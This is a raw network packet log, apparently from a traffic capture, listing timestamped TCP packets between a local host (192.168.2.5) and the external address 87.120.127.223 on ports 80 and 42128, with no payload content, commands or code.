Oct 15, 2024 19:22:21.876940966 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876957893 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.876975060 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.877002954 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.877080917 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877095938 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877150059 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.877173901 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877188921 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877204895 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877221107 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877224922 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.877269983 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.877449036 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877465010 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877480984 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877496004 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877512932 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877516985 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.877542973 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.877559900 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877614021 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877656937 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.877700090 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877716064 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877729893 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877739906 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.877775908 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.877840042 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877855062 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.877969027 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.880775928 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.880808115 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.880824089 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.880851030 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.978787899 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.026101112 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.031167984 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.031184912 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.031240940 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.031243086 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.031255960 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.031261921 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.031280041 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.031291008 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.031292915 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.031306028 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.031326056 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.031341076 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.031343937 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.031353951 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.031367064 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.031369925 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.031415939 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.036535978 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.036647081 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.036725998 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.036739111 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.036751986 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.036763906 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.036777020 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.036792040 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.036828041 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.050111055 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050143003 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050158978 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050195932 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.050267935 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050283909 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050299883 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050316095 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050322056 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.050333977 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.050510883 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050527096 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050543070 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050554037 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.050563097 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050590992 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.050707102 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050721884 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050736904 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050755024 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.050781965 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.050892115 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050915956 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050930977 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050945997 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050960064 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050967932 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.050976038 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050992012 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.050992966 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.051007032 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051009893 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.051047087 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.051338911 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051356077 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051371098 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051399946 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.051400900 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051417112 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051438093 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051460028 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.051481009 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.051605940 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051651001 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051666975 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051707983 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.051812887 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051829100 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051845074 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051861048 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051872969 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.051898003 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.051975012 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.051990032 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052014112 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052028894 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052030087 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.052045107 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052051067 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.052088022 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.052263021 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052283049 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052376986 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.052551985 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052634001 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052649021 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052691936 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.052757025 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052772045 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052788973 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052800894 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.052805901 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.052829027 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.079170942 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.079303026 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.090576887 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.090796947 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.125286102 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125315905 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125332117 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125371933 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.125425100 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.125502110 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125570059 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125586033 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125627995 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.125679970 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125694990 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125710964 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125735998 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.125763893 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.125823021 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125838995 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125854015 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125879049 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125881910 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.125895977 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125910997 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.125925064 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.125951052 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.126163960 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.126178980 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.126194000 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.126245022 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.126271963 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.126286983 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.126302004 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.126312017 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.126352072 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.143114090 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.143244982 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.161005974 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161215067 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161240101 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161256075 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161264896 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.161272049 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161298990 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161314011 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161319971 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.161329985 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161343098 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.161365986 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161380053 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.161384106 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161438942 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161477089 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.161547899 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161562920 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161604881 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.161623955 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161639929 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161668062 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.161710024 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161725998 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161762953 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161771059 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.161813974 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.161818981 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161886930 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161901951 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161917925 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.161926031 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.161967039 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.162039042 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.162054062 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.162069082 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.162106991 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.162214994 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.162236929 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.162250996 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.162266016 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.162281036 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.162281990 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.162292004 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.162321091 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.162365913 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.162452936 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.162467957 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.162517071 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.191101074 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.191181898 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.239299059 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.239409924 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.249170065 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249186993 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249202967 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249238014 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249253035 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249254942 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.249305010 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.249526024 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249645948 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249684095 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249711990 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249718904 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.249726057 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249766111 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.249778986 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249794006 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249821901 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.249949932 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249964952 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249979973 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249994993 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.249999046 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.250010967 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.250021935 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.250065088 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.250188112 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.250202894 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.250217915 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.250257969 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.285696983 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.285753012 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.285757065 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.285785913 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.285837889 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.285892010 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.285923958 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.285957098 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.285989046 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286000967 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.286067009 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286164045 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286164999 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.286197901 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286211014 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.286231041 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286263943 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286298037 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286310911 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.286330938 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286364079 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286381960 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.286400080 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286406994 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.286530972 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286576033 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.286647081 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286700010 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286731958 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286747932 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.286765099 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286808968 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286818981 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.286859035 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286890984 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286904097 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.286925077 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286956072 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.286964893 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.286988974 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.287024021 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.287095070 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.287198067 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.287230015 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.287262917 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.287282944 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.287297964 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.287311077 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.287332058 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.287359953 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.287403107 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.287425995 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.335367918 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.335493088 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.371918917 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.371943951 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.371959925 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.371988058 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372004032 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.372015953 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372040987 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372061014 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372076988 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372080088 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.372091055 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.372093916 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372102022 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372117043 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372132063 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372143030 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.372148991 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372164965 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372168064 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.372183084 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372198105 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372212887 CEST	80	49721	87.120.127.223	192.168.2.5
